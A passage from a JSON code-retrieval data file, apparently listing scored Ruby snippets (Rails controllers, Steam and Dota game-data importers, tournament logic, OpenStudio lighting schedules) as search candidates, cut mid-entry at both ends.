"text": "def data_load\r\n unless $data_actors\r\n $data_actors = _clean_name_utf8(load_data(\"Data/Actors.rxdata\"))\r\n $data_classes = _clean_name_utf8(load_data(\"Data/Classes.rxdata\"))\r\n $data_enemies = _clean_name_utf8(load_data(\"Data/Enemies.rxdata\"))\r\n $data_troops = _clean_name_utf8(load_data(\"Data/Troops.rxdata\"))\r\n $data_tilesets = _clean_name_utf8(load_data(\"Data/Tilesets.rxdata\"))\r\n $data_common_events = _clean_name_utf8(load_data(\"Data/CommonEvents.rxdata\"))\r\n $data_system = load_data_utf8(\"Data/System.rxdata\")\r\n end\r\n $game_system = Game_System.new\r\n $game_temp = Game_Temp.new\r\n end",
"title": ""
},
{
"docid": "d9c4364a4eaa303d60a421780acea508",
"score": "0.44455236",
"text": "def update_local\n # TODO\n end",
"title": ""
},
{
"docid": "0f270722a292a7d2181687694d7a559a",
"score": "0.44377893",
"text": "def normalize_games\n @match.games.each do |game|\n if !game.player1_score.present? && !game.player2_score.present?\n @match.games.delete(game)\n next\n end\n game.player1_id = @match.player1_id\n game.player2_id = @match.player2_id\n end\n end",
"title": ""
},
{
"docid": "77df3abc7d964d48e1464ddc9287d303",
"score": "0.44362193",
"text": "def update_structure\n # Check for errors.\n errors.add :type, I18n.t('activerecord.errors.models.tournament.attributes.type.changed') if type_changed?\n errors.add :start_time, I18n.t('activerecord.errors.models.tournament.attributes.start_time.changed') if start_time_changed? and start_time_was <= Time.now\n \n if started?\n errors.add :league, I18n.t('activerecord.errors.models.tournament.attributes.started.league') if league_changed?\n errors.add :start_time, I18n.t('activerecord.errors.models.tournament.attributes.started.start_time') if start_time_changed?\n errors.add :max_players, I18n.t('activerecord.errors.models.tournament.attributes.started.max_players') if max_players_changed?\n errors.add :registration_time, I18n.t('activerecord.errors.models.tournament.attributes.started.registration_time') if registration_time_changed?\n end\n\n if locked?\n errors.add :league, I18n.t('activerecord.errors.models.tournament.attributes.locked.league') if league_changed?\n errors.add :start_time, I18n.t('activerecord.errors.models.tournament.attributes.locked.start_time') if start_time_changed?\n errors.add :max_players, I18n.t('activerecord.errors.models.tournament.attributes.locked.max_players') if max_players_changed?\n errors.add :registration_time, I18n.t('activerecord.errors.models.tournament.attributes.locked.registration_time') if registration_time_changed?\n end\n\n raise ActiveRecord::Rollback unless errors.empty?\n \n if max_players_changed?\n destroy_structure\n reload\n create_structure\n waiting_players.where(player_accepted: true).each { |player| add_player(player) }\n end\n end",
"title": ""
},
{
"docid": "b3bf87a861ac2e15b7f397c3004dc5e5",
"score": "0.44327742",
"text": "def refresh_library\n\n if self.steam_uid != nil #Steam_username has to exist to call API\n\n #Call owned games using Steam API\n url = \"http://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=#{ENV[\"STEAM_WEB_API_KEY\"]}&include_played_free_games=1&format=json&steamid=#{self.steam_uid}\"\n\n raw_data = open(url).read\n parsed_data = JSON.parse(raw_data)\n games = parsed_data[\"response\"][\"games\"]\n\n # Check if player doesn't own any games or profile is set to private\n if games.nil? == false\n\n #Run through every owned game\n games.each do |game|\n\n # Check if game already exists in Crewlink database\n if Game.where(:app_id => game[\"appid\"]).exists?\n # Pull Game ID from database by Steam App ID\n game_id = Game.where(:app_id => game[\"appid\"]).pluck(:id)[0]\n\n # Check if game is already in user's library\n if self.libraries.find_by(:game_id => game_id).present? == false\n # Pull multiplayer status from game database\n multiplayer_status = Game.find_by(:id => game_id).multiplayer_status\n\n # Build library entry\n library = Library.new\n library.owner_id = self.id\n library.game_id = game_id\n library.default_looking_to_play_status = multiplayer_status\n\n library.save\n end\n\n # Game not in database, so need to create game entry and library entry\n else\n app_id = game[\"appid\"].to_s\n url = \"http://store.steampowered.com/api/appdetails?appids=#{app_id}\"\n raw_data = open(url).read\n parsed_data = JSON.parse(raw_data)[app_id]\n success = parsed_data[\"success\"]\n\n # Some App IDs no longer work (Steam has deleted data), so must test for success value of true\n if success == true\n new_game = Game.new\n app_id = game[\"appid\"]\n title = parsed_data[\"data\"][\"name\"]\n developer = parsed_data[\"data\"][\"developers\"]\n img_url = parsed_data[\"data\"][\"header_image\"]\n multiplayer_status = 0\n\n categories = parsed_data[\"data\"][\"categories\"]\n\n if categories.class == Array\n\n categories.each do |type|\n if type[\"id\"] == 1\n multiplayer_status = 1\n end\n end\n end\n\n # Build game entry\n new_game.app_id = app_id\n new_game.title = title\n new_game.developer = developer\n new_game.multiplayer_status = multiplayer_status\n new_game.img_url = img_url\n\n new_game.save\n\n # Build library entry\n library = Library.new\n library.owner_id = self.id\n library.game_id = new_game.id\n library.default_looking_to_play_status = new_game.multiplayer_status\n\n library.save\n response = 0\n response\n end\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "804fce9817c95b3a0c5b3390f5e41474",
"score": "0.44313163",
"text": "def update_libraries uri\n src = sources.find(uri)\n libraries.each do |lib|\n lib.merge src if lib.contain?(src.filename)\n end\n diagnoser.schedule uri\n end",
"title": ""
},
{
"docid": "e8e59302231fde0cae7ac5225c527ac3",
"score": "0.4429191",
"text": "def update!\n self.list = fetch(V4_URL) + fetch(V6_URL)\n end",
"title": ""
},
{
"docid": "9df64dd3ac76086ae7ae2c1f6afa3323",
"score": "0.4428448",
"text": "def perform(match_id, update, uid)\n puts \"UPDATE = #{update}\"\n current_user = User.find(uid)\n\n match_json = SteamController.get_match(match_id)\n\n begin\n\n match = Match.find(match_id.to_i)\n\n # -----\n # If we don't have the match data in the DB already, OR the update boolean has\n # been passed in as True which means the user has requested their match data\n # to be updated regardless, then update the match.\n # -----\n if (match == nil) || update\n\n # Only make a new match if match wasn't found in the DB. (remember, match could\n # already be in the DB and it should just be updated if \"update\" boolean was True)\n match = Match.new if (match == nil)\n\n match.players = []\n\n match.has_pro = false\n\n players = match_json['players']\n\n # -----\n # Parse player information from the game data.\n # -----\n players.each do |p|\n\n # Check if we have this player in our list of \"pro/ticketed\" players in the DB\n pro_in_db = Proplayer.find(p['account_id'].to_i)\n\n # -----\n # If the player is a \"pro\", then the match gets flagged with match.has_pro, the player\n # gets flagged with the \"pro\" boolean later, and the proplayer gets added to the user's\n # linked list of pros if it's not already there.\n # -----\n if pro_in_db\n pro = true\n match.has_pro = true\n puts \"adding pro player to user\"\n current_user.proplayers.push(pro_in_db) unless current_user.proplayers.find(pro_in_db.id)\n else\n pro = false\n end\n\n # -----\n # Parse out player match data and add it to the match\n # -----\n hero_name = Hero.find(p['hero_id']).name.downcase.gsub(\" \", \"_\")\n match.players.push(\n Player.new(\n id: p['account_id'],\n player_slot: p['player_slot'],\n hero: hero_name,\n item_0: p['item_0'],\n item_1: p['item_1'],\n item_2: p['item_2'],\n item_3: p['item_3'],\n item_4: p['item_4'],\n item_5: p['item_5'],\n kills: p['kills'],\n deaths: p['deaths'],\n assists: p['assists'],\n gold: p['gold'],\n last_hits: p['last_hits'],\n denies: p['denies'],\n level: p['level'],\n gold_per_min: p['gold_per_min'],\n xp_per_min: p['xp_per_min'],\n hero_damage: p['hero_damage'],\n tower_damage: p['tower_damage'],\n hero_healing: p['hero_healing'],\n gold_spent: p['gold_spent'],\n pro_player: pro\n ))\n end\n\n # -----\n # Parse out match information\n # -----\n match.radiant_win = match_json['radiant_win']\n match.duration = match_json['duration']\n match.start_time = match_json['start_time']\n match.id = match_json['match_id']\n\n # match.update will save the match if it doesn't exist and update it if it does\n match.update\n\n # Add this match to user's list of matches for quick retrieval later\n current_user.matches.push(match) unless current_user.matches.find(match.id)\n\n end\n \n rescue\n puts \"MATCH #{match_id} FUCKIN ERRORED DOG\"\n end\n \n end",
"title": ""
},
{
"docid": "6948fcd0e6b68589f50c9b339f48f510",
"score": "0.4425219",
"text": "def sync_fide_players(force=false)\n @start = Time.now\n @time = Hash.new\n begin\n get_download_details\n check_not_downloaded unless force\n download_and_save\n read_parse_and_save\n load_into_mysql\n event(true)\n rescue SyncInfo => e\n @info = e.message\n event(true)\n rescue SyncError => e\n @error = e.message\n event(false)\n rescue => e\n @error = e.message\n e.backtrace.each { |b| @error += \"\\n#{b}\" }\n event(false)\n end\n end",
"title": ""
},
{
"docid": "8e2ef0fe3dbe51537125c29cae6f8745",
"score": "0.44205046",
"text": "def call\n @player.update_trophy_points\n @player.update_rare_points\n\n game = @trophy.game\n prepared_game = Game.find_exact_game(game.title, game.platform)\n Game.store_game_top(prepared_game)\n end",
"title": ""
},
{
"docid": "464cb3825aec76a9ff2acfc86819d7b0",
"score": "0.44201434",
"text": "def set_stat_of_player_of_team_of_match\n @stat_of_player_of_team_of_match = StatOfPlayerOfTeamOfMatch.find(params[:id])\n end",
"title": ""
},
{
"docid": "6f79c18bcb6489548046f8950a08143f",
"score": "0.4417858",
"text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n runner.registerInfo(\"Start to create lighting measure from occupant schedule\")\n\n ### Get user selected lighting space assumptions for each space\n v_space_types = model.getSpaceTypes\n i = 1\n lght_space_type_arg_vals = {}\n # Loop through all space types, group spaces by their types\n v_space_types.each do |space_type|\n # Loop through all spaces of current space type\n v_current_spaces = space_type.spaces\n next if not v_current_spaces.size > 0\n v_current_spaces.each do |current_space|\n lght_space_type_val = runner.getStringArgumentValue(@@v_space_args[current_space.nameString], user_arguments)\n lght_space_type_arg_vals[current_space.nameString] = lght_space_type_val\n i += 1\n end\n end\n\n puts lght_space_type_arg_vals\n\n ### Start creating new lighting schedules based on occupancy schedule\n occ_schedule_dir = runner.getStringArgumentValue('occ_schedule_dir', user_arguments)\n model_temp_run_path = Dir.pwd + '/'\n measure_root_path = File.dirname(__FILE__)\n\n puts '=' * 80\n puts measure_root_path\n\n if File.file?(occ_schedule_dir)\n # Check if user provided a occupancy schedule CSV file\n csv_file = occ_schedule_dir\n puts 'Use user provided occupancy schedule file at: ' + csv_file.to_s\n runner.registerInitialCondition('Location check:' + File.expand_path(\"../..\", measure_root_path))\n # runner.registerInitialCondition('Use user provided occupancy schedule file at: ' + csv_file.to_s)\n else\n # Check if schedule file at several places\n # 1. Default fils path when run with OSW in CLI\n csv_path_lookup_1 = File.expand_path(\"../..\", measure_root_path) + \"/files/#{@@default_occupant_schedule_filename}\"\n puts '#' * 80\n puts \"First lookup location: \" + csv_path_lookup_1\n runner.registerInfo(\"First lookup location: \" + csv_path_lookup_1)\n # 2. Default path when run with OpenStudio CLI\n csv_path_lookup_2 = File.expand_path(\"../..\", model_temp_run_path) + \"/files/#{@@default_occupant_schedule_filename}\"\n puts '#' * 80\n puts \"Second lookup location: \" + csv_path_lookup_2\n runner.registerInfo(\"Second lookup location: \" + csv_path_lookup_2)\n # 3. Default path when run with OpenStudio GUI\n csv_path_lookup_3 = File.expand_path(\"../../..\", model_temp_run_path) + \"/resources/files/#{@@default_occupant_schedule_filename}\"\n puts '#' * 80\n puts \"Third lookup location: \" + csv_path_lookup_3\n runner.registerInfo(\"Third lookup location: \" + csv_path_lookup_3)\n # 4. Generated files folder when run with rspec\n csv_path_lookup_4 = File.expand_path(\"..\", model_temp_run_path) + \"/generated_files/#{@@default_occupant_schedule_filename}\"\n puts '#' * 80\n puts \"Forth lookup location: \" + csv_path_lookup_4\n runner.registerInfo(\"Forth lookup location: \" + csv_path_lookup_4)\n # 5. Generated files folder with OpenStudio V2.9.0+\n csv_path_lookup_5 = File.join(File.expand_path(\"../..\", model_temp_run_path), 'generated_files', @@default_occupant_schedule_filename)\n puts '#' * 80\n puts \"Fifth lookup location: \" + csv_path_lookup_5\n runner.registerInfo(\"Fifth lookup location: \" + csv_path_lookup_5)\n\n if File.file?(csv_path_lookup_1)\n csv_file = csv_path_lookup_1\n elsif File.file?(csv_path_lookup_2)\n csv_file = csv_path_lookup_2\n elsif File.file?(csv_path_lookup_3)\n csv_file = csv_path_lookup_3\n elsif File.file?(csv_path_lookup_4)\n csv_file = csv_path_lookup_4 \n elsif File.file?(csv_path_lookup_5)\n csv_file = csv_path_lookup_5\n else\n csv_file = ''\n end\n puts 'Use default occupancy schedule file at: ' + csv_file.to_s\n runner.registerInfo('Use default occupancy schedule file at: ' + csv_file.to_s)\n end\n\n # Get the spaces with occupancy count schedule available\n v_spaces_occ_sch = File.readlines(csv_file)[3].split(',') # Room ID is saved in 4th row of the occ_sch file\n v_headers = Array.new\n v_spaces_occ_sch.each do |space_occ_sch|\n if !['Room ID', 'Outdoor', 'Outside building'].include? space_occ_sch and !space_occ_sch.strip.empty?\n v_headers << space_occ_sch\n end\n end\n v_headers = [\"Time\"] + v_headers\n\n # report initial condition of model\n runner.registerInfo(\"The building has #{v_headers.length - 1} spaces with available occupant schedule file.\")\n\n # Read the occupant count schedule file and clean it\n clean_csv = File.readlines(csv_file).drop(6).join\n csv_table_sch = CSV.parse(clean_csv, headers: true)\n new_csv_table = csv_table_sch.by_col!.delete_if do |column_name, column_values|\n !v_headers.include? column_name\n end\n\n runner.registerInfo(\"Successfully read occupant count schedule from CSV file.\")\n runner.registerInfo(\"Creating new lighting schedules...\")\n\n # Create lighting schedule based on the occupant count schedule\n v_cols = Array.new\n v_ts = new_csv_table.by_col!['Time']\n v_headers.each do |header|\n if header != 'Time'\n space_name = header\n v_occ_n = new_csv_table.by_col![space_name]\n v_light = create_lighting_sch_from_occupancy_count(space_name, v_ts, v_occ_n, @@off_delay)\n v_cols << v_light\n end\n end\n\n runner.registerInfo(\"Writing new lighting schedules to CSV file.\")\n # Write new lighting schedule file to CSV\n file_name_light_sch = \"#{model_temp_run_path}/#{@@lighting_schedule_CSV_name}\"\n vcols_to_csv(v_cols, file_name_light_sch)\n\n # Add new lighting schedule from the CSV file created\n runner.registerInfo(\"Removing old OS:Lights and OS:Lights:Definition for office and conference rooms.\")\n # Remove old lights definition objects for office and conference rooms\n v_space_types.each do |space_type|\n space_type.spaces.each do |space|\n selected_space_type = lght_space_type_arg_vals[space.name.to_s]\n if (@@office_type_names.include? selected_space_type) || (@@conference_room_type_names.include? selected_space_type)\n space_type.lights.each do |lght|\n puts 'Remove old lights definition object: ' + lght.lightsDefinition.name.to_s\n lght.lightsDefinition.remove\n end\n end\n end\n end\n\n # Remove old lights objects for office and conference rooms\n # Caution: the order of deletion matters\n v_space_types.each do |space_type|\n space_type.spaces.each do |space|\n selected_space_type = lght_space_type_arg_vals[space.name.to_s]\n if (@@office_type_names.include? selected_space_type) || (@@conference_room_type_names.include? selected_space_type)\n space_type.lights.each do |lght|\n puts 'Remove old lights object: ' + lght.name.to_s\n lght.remove\n end\n end\n end\n end\n\n puts '---> Create new lighting schedules from CSV.'\n\n runner.registerInfo(\"Adding new OS:Schedule:File objects to the model....\")\n v_spaces = model.getSpaces\n v_spaces.each do |space|\n v_headers.each_with_index do |s_space_name, i|\n if s_space_name == space.name.to_s\n col = i\n temp_file_path = file_name_light_sch\n sch_file_name = space.name.to_s + ' lght sch'\n schedule_file = get_os_schedule_from_csv(model, temp_file_path, sch_file_name, col, skip_row = 1)\n schedule_file.setMinutesperItem(@@minute_per_item.to_s)\n model = add_light(model, space, schedule_file)\n end\n end\n end\n\n # report final condition of model\n runner.registerFinalCondition(\"Finished creating and adding new lighting schedules for #{v_headers.length - 1} spaces.\")\n\n return true\n end",
"title": ""
},
{
"docid": "ed837d6083b144d43858238a9b2371b4",
"score": "0.44153053",
"text": "def update\n super\n $game_chrono.update\n @window_gameDescription.update() unless @window_gameDescription == nil\n @inPauseMode = false\n #sleep(0.5)\n if @spriteGem1 != nil && @spriteGem1.moving && @spriteCursor1 != nil && @spriteGem2 != nil && @spriteCursor2 != nil \n update_switch2Gem()\n elsif( @spriteGems != nil ) #&& @spriteGems[6].moving )\n#~ for y in 0...BOARD_MAX_Y\n#~ #@spriteGems[y].update\n#~ # if( isUpdating == false )\n#~ # sleep(2)\n#~ # end\n#~ end\n end\n if( @isHeroAttacking == true && @HeroAttackZone != nil )\n \n if ( @HeroAttackZone.update )\n @inPauseMode = true \n #@HeroAttackZone.doAnimation( 1, false )\n # @HeroAttackZone.start_animation($data_animations[1], false)\n else\n @inPauseMode = false \n @HeroAttackZone = nil\n end \n end\n \n end",
"title": ""
},
{
"docid": "f50ce580c6d64f392291ce8bf73667ae",
"score": "0.4410537",
"text": "def GetEnemyPrototypes()\n\n folder_contents = Dir.entries($enemy_prototypes_folder)\n\n for i in 0...folder_contents.length do\n\n if not folder_contents[i] == \".\" and not folder_contents[i] == \"..\" then\n $enemy_prototypes << $enemy_prototypes_folder + '/' + folder_contents[i]\n end\n\n end\n\n\nend",
"title": ""
},
{
"docid": "bf84bc8baf37f4dfc2d36686234b57fa",
"score": "0.4405758",
"text": "def reload_rh_texts\n langs = Dir[\"Data/Text/Dialogs/#{CSV_BASE}.*.dat\"].collect { |i| i.match(/[0-9]+\\.([a-z]+)\\.dat$/).captures[0] }\n if langs.empty? ||\n File.mtime(\"Data/Text/Dialogs/#{CSV_BASE}.#{langs.first}.dat\") < File.mtime(\"Data/Text/#{langs.first}.dat\")\n langs << GamePlay::Load::DEFAULT_GAME_LANGUAGE if langs.empty?\n log_debug('Updating Text files')\n filename = 'plugins/text2csv' # Just to avoid the warning\n require filename\n Available_Langs.clear\n Available_Langs.concat(langs)\n log_debug('Compiling Text files')\n compile\n end\n end",
"title": ""
},
{
"docid": "a4f4574e1e032045b98507c67a344478",
"score": "0.44052115",
"text": "def update_captain_and_eligibility(*)\n reload # SQL caching causing users to be empty when creating team making all teams ineligible\n set_team_captain\n update_eligibility\n end",
"title": ""
},
{
"docid": "871338b1cf60d12eebf26bfa88c26209",
"score": "0.44045508",
"text": "def index\n @m = Logica.start_engine\n @players = Player.all\n if @players.count > 0\n @players.each do |p|\n @rand_u = @probabilities[rand(0..99)]\n if @rand_u == @rand_pr\n p.update(money:1000)\n @winners << p\n else\n p.update(money:0)\n @losers << p\n end\n end\n end\n\n end",
"title": ""
},
{
"docid": "cdabac427e493104a2bb950e4cec437a",
"score": "0.44040793",
"text": "def advance_contestants()\n #logger.debug \"Prior(s): #{all_priors.collect{|bc| bc.contestantcode}.inspect()}\"\n winning_team = self.homecontestant.win ? self.homecontestant.team : self.awaycontestant.team\n losing_team = self.homecontestant.loss ? self.homecontestant.team : self.awaycontestant.team\n self.all_priors().each{|bc| bc.team = bc.contestanttype==\"W\" ? winning_team : losing_team; bc.save! }\n end",
"title": ""
},
{
"docid": "b0f8edefb8faf9569802316b4c06719c",
"score": "0.43991673",
"text": "def update\n tournament = Tournament.find(params[:id])\n champion_id = User.find_by(username: params[:winner]).id\n tournament.update(champion_id: champion_id)\n\n # If the last match winner id is nil, it was a double elim match that never had to be played. \n # May as well delete it\n if (tournament.matches.last.winner_id == nil)\n Match.destroy(tournament.matches.last.id)\n end\n end",
"title": ""
},
{
"docid": "514f48645ad39be2fc4e7368a37aa3ea",
"score": "0.43964657",
"text": "def set_game\n @game = Game.find(params[:id])\n get_team_players\n @player_game_statistic=PlayerGameStatistic.new({:game_id => @game.id,:player_id=>Player.all.first.id})\n get_opponent_players\n end",
"title": ""
},
{
"docid": "c6a6d9d40f52dcfc0f97a4ef6d4bc83b",
"score": "0.43950528",
"text": "def run_all\n run_on_change(\n Watcher.match_files(\n self, \n Dir.glob(File.join(::Guard.listener.directory, '**', '*.s[ac]ss')).\n map {|f| f[::Guard.listener.directory.size+1..-1] }.\n reject {|f| partial?(f) }\n )\n )\n end",
"title": ""
},
{
"docid": "b91c4e2d107e7b2c7b3ccae4f88921b7",
"score": "0.43916205",
"text": "def generateVideos()\n #GENERATE AN INTERMEDIARY DIRECTORY WHERE WE'D STORE THE VIDEO FRAGMENTS\n pathToIntermediates=\"#{$PATHTOGENERATEINTERMEDIATES}/#{@meetingData.meetingId}\"\n puts \"generating intermediate videos in #{pathToIntermediates}\"\n createDirectoryIfNotExists(pathToIntermediates)\n \n dsPath=\"#{$PATHTOPUBLISHED}/#{@meetingData.meetingId}/deskshare\"\n presentationPath=\"#{$PATHTOPUBLISHED}/#{@meetingData.meetingId}/presentation\"\n \n #Scale to optimal resolution\n maxW=0\n maxH=0\n if Dir.exist?dsPath then\n maxW, maxH = getMaxResolution(dsPath)\n else \n maxW, maxH = getMaxResolution()\n end\n\n\n @objects.each_with_index{\n |val, index|\n puts \"Generating a #{val.class} video in interval [#{val.start_timestamp}, #{val.stop_timestamp}]\"\n val.generateVideo(pathToIntermediates, index, maxW, maxH)\n } \n end",
"title": ""
}
] |
d41a40387cdbb377950e9495d1169dca | POST /need_helps POST /need_helps.json | [
{
"docid": "a4c15e11bb42fe83131b51934b3f0d41",
"score": "0.6634669",
"text": "def create\n @need_help = NeedHelp.new(params[:need_help])\n\n respond_to do |format|\n if @need_help.save\n format.json {render json: @need_help, status: :created, location: @need_help}\n else\n format.json {render json: @need_help.errors, status: :unprocessable_entity}\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "c0af8c83f5da3eed70f43149ff088dfd",
"score": "0.6320461",
"text": "def helps(id)\n helps_data(request(\"needs/helps/#{id}.xml\", :auth => true))\n end",
"title": ""
},
{
"docid": "16124ffb2cd14c6a8f6f3e7a50047551",
"score": "0.59060323",
"text": "def hot_needs\n needs_generic_data(request(\"needs/hot.xml\", :auth => true))\n end",
"title": ""
},
{
"docid": "675fb8b03a2550855d0f99d834302947",
"score": "0.58047855",
"text": "def update\n @need_help = NeedHelp.find(params[:id])\n\n respond_to do |format|\n if @need_help.update_attributes(params[:need_help])\n format.json {head :no_content}\n else\n format.json {render json: @need_help.errors, status: :unprocessable_entity}\n end\n end\n end",
"title": ""
},
{
"docid": "a7436364ed4fe4fcd5959375fa92ad1b",
"score": "0.57725424",
"text": "def index\n @need_helps = NeedHelp.all\n\n respond_to do |format|\n format.json {render :json => @need_helps.to_json(:include => [:need_help_category,\n :user => {:include => :street}])}\n end\n end",
"title": ""
},
{
"docid": "0fef76931632630b1af5a8d87ad7dc18",
"score": "0.5648817",
"text": "def create\n @need = current_user.needs_posted_by.new(need_params)\n\n respond_to do |format|\n if @need.save\n format.html { redirect_to @need, notice: 'Need was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @need }\n else\n format.html { render action: 'new' }\n # format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6c8beec52b0561ad58532d81458af3a5",
"score": "0.5546637",
"text": "def show\n @need_help = NeedHelp.find(params[:id])\n\n respond_to do |format|\n format.json {render json: @need_help}\n end\n end",
"title": ""
},
{
"docid": "c474b7aa5e340dfdf4116a17b5fb94db",
"score": "0.5459509",
"text": "def want_params\n params.require(:want).permit(:user_id, :title, :summary, :fulldeets)\n end",
"title": ""
},
{
"docid": "718d663eb3bbdf8c629786ee5a045c6d",
"score": "0.54362714",
"text": "def help\n\t\thelps = Help.all\n\t\tif helps.present?\n\t\t# response to the JSON\n \t render json: { success: true, response: {help_content: helps.as_json} },:status=> 200\n\t else\n\t render :json=> { success: false, message: \"Help Content is not present\" },:status=> 203\n\t end\n\tend",
"title": ""
},
{
"docid": "36edff91e6142f21fea2e2e242df6b33",
"score": "0.5381408",
"text": "def need_params\n puts params.as_json\n params.require(:need).permit(:category, :vneed, :feeling_id, :note).merge(user_id: current_user.id)\n end",
"title": ""
},
{
"docid": "3710ce92db4dca1cf842fe299b896615",
"score": "0.5361544",
"text": "def create_help_request\n @help_request = HelpRequest.new(params[:help])\n end",
"title": ""
},
{
"docid": "d70cbc3beece47ae43fc70c68b9f9151",
"score": "0.53498733",
"text": "def help_params\n params.permit(:need_housing, :gender, :has_kids, :help_type)\n end",
"title": ""
},
{
"docid": "8c89c9612fa606e7a13e77d2e229dd0d",
"score": "0.5279043",
"text": "def create\n @need = Need.new(need_params)\n\n respond_to do |format|\n if @need.save\n format.html { redirect_to new_need_path}\n format.json { render :show, status: :created, location: @need }\n else\n format.html { render :new }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "29291891be3a063c1140be374b93e0cf",
"score": "0.526601",
"text": "def test_create_and_show\r\n assert_difference \"Helpful.count\" do\r\n post :create, :helpful_type => \"reviews\", :helpful_id => @review.to_param, :helpful => \"1\"\r\n assert_response :success\r\n end\r\n end",
"title": ""
},
{
"docid": "3ffff91dbe027973f593538a191054cd",
"score": "0.52251",
"text": "def create\n @need = Need.new(need_params)\n\n respond_to do |format|\n if @need.save\n format.html { redirect_to @need, notice: 'Need was successfully created.' }\n format.json { render :show, status: :created, location: @need }\n else\n format.html { render :new }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7998f440470b95efec3bc4fb61ce83f6",
"score": "0.5210945",
"text": "def create\n @help = Help.new(help_params)\n\n respond_to do |format|\n if @help.save\n format.html { redirect_to helps_path, notice: 'Help was successfully created.' }\n format.json { render :show, status: :created, location: @help }\n else\n format.html { render :new }\n format.json { render json: @help.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "edec60cc6b0a69d6cc8b957962c4f0b8",
"score": "0.5206674",
"text": "def create\n @need = current_user.needs.new(params[:need])\n\n respond_to do |format|\n if @need.save\n format.html { redirect_to(@need, :notice => 'Need was successfully created.') }\n format.xml { render :xml => @need, :status => :created, :location => @need }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @need.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6f8945e16eb3cb1e5297afdecae29631",
"score": "0.52061033",
"text": "def need_params\n params.require(:need).permit(:staff_id, :title, :content, :url, :status, :importance, :finish_on, :memo)\n end",
"title": ""
},
{
"docid": "3723d21415ca130b0c125e3683b7ead6",
"score": "0.5184553",
"text": "def help_text\n options = {question_pairing_id: params[:question_pairing_id]}\n options[:disability_ids] = params[:disability_ids].split(',') if params[:disability_ids].present?\n\n @help_text = QuestionPairingDisability.with_names(options)\n\n respond_to do |format|\n format.html { render layout: 'fancybox'}\n format.json { render json: @data }\n end\n\n end",
"title": ""
},
{
"docid": "37d225061b951ff372b3d5fd55b4894f",
"score": "0.5180521",
"text": "def need_help \n end",
"title": ""
},
{
"docid": "dd9ac8ab1a5973ddc58c2332eb543174",
"score": "0.5142984",
"text": "def create\n @need = current_organization.needs.build(need_params)\n @need.user = current_user\n\n respond_to do |format|\n if @need.save\n format.html { redirect_to @need, notice: 'Need was successfully created.' }\n format.json { render :show, status: :created, location: @need }\n else\n format.html { render :new }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "179b40353083aad64abee07392a938fc",
"score": "0.51068383",
"text": "def request_help\n @problem = Problem.find params[:problem_id], :include => :hints, :order => \"hints.position\"\n @hints = @problem.hints\n if @problem.has_scaffolds?\n ActiveRecord::Base.transaction do\n changed_and_notify_observers(:answer => { :incorrect => nil, :problem => @problem})\n flash[:message] = \"Let's move on and figure out this problem\"\n flash[:message_type] = :neutral\n help_student_out\n end\n else\n logger.info \"hint_count = #{session[:hint_count]}; total hints count = #{@hints.size}\"\n if (session[:hint_count] + 1) < @hints.size\n session[:hint_count] += 1\n logger.info \"hint_count incremeneted: #{session[:hint_count]}\"\n @hint = @hints[session[:hint_count]]\n ActiveRecord::Base.transaction do\n changed_and_notify_observers(:hint => @hint)\n end\n render_tutor :file => \"add_hint\"\n else\n # TODO: make this message to be a hint_notice_message\n @message = \"Sorry, the number of requested hints has exceeded the number of actual hints! Please let us know about this by commenting.\"\n render_tutor :file => \"notice_message\"\n end\n end\n end",
"title": ""
},
{
"docid": "72dc9fd91e3f8c7f086bc280ddf998ae",
"score": "0.51058424",
"text": "def create\n @help = Help.new(params[:help])\n\n respond_to do |format|\n if @help.save\n format.html { redirect_to @help, notice: 'Help was successfully created.' }\n format.json { render json: @help, status: :created, location: @help }\n else\n format.html { render action: \"new\" }\n format.json { render json: @help.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc6d44affc7f1ce4b9666baa1f9cc917",
"score": "0.507892",
"text": "def create\n @help = Help.new(help_params)\n\n respond_to do |format|\n if @help.save\n format.html { redirect_to @help, notice: 'Help was successfully created.' }\n format.json { render :show, status: :created, location: @help }\n else\n format.html { render :new }\n format.json { render json: @help.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "64a1e1d98106a930b581285de2f91d16",
"score": "0.50692946",
"text": "def need_params\n params.require(:need).permit! #This is bad... #(:skill_tokens, :shows_real_location_publically, :id, :full_street_address, :recipient_size, :frequency_type, :recipient_contribution, :date_of_birth, :latitude, :longitude, :leader, :is_public, :first_name, :last_name, :last_four_ssn, :street_address, :drivers_license, :age, :gender, :title_public, :description_public, :need_stage, :title, :description, :user_id_posted_by, :user_id_church_admin)\n end",
"title": ""
},
{
"docid": "e8f6378a0cc8602755c928056481081c",
"score": "0.50512093",
"text": "def help_params\n params.require(:help).permit(:title, :category, :content, screenshots:[])\n end",
"title": ""
},
{
"docid": "f9b91f0fe4c3c4c16a1388e195e8ebb0",
"score": "0.504599",
"text": "def create\n @frequently_asked = FrequentlyAsked.new(frequently_asked_params)\n\n respond_to do |format|\n if @frequently_asked.save\n format.html { redirect_to @frequently_asked, notice: 'Frequently asked was successfully created.' }\n format.json { render :show, status: :created, location: @frequently_asked }\n else\n format.html { render :new }\n format.json { render json: @frequently_asked.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "47677dc09be0828ec7e67a3fe5ca9b62",
"score": "0.5040159",
"text": "def destroy\n @need_help = NeedHelp.find(params[:id])\n @need_help.destroy\n\n respond_to do |format|\n format.json {head :no_content}\n end\n end",
"title": ""
},
{
"docid": "5365e56382d1d41e9b2882fc48260f60",
"score": "0.5038222",
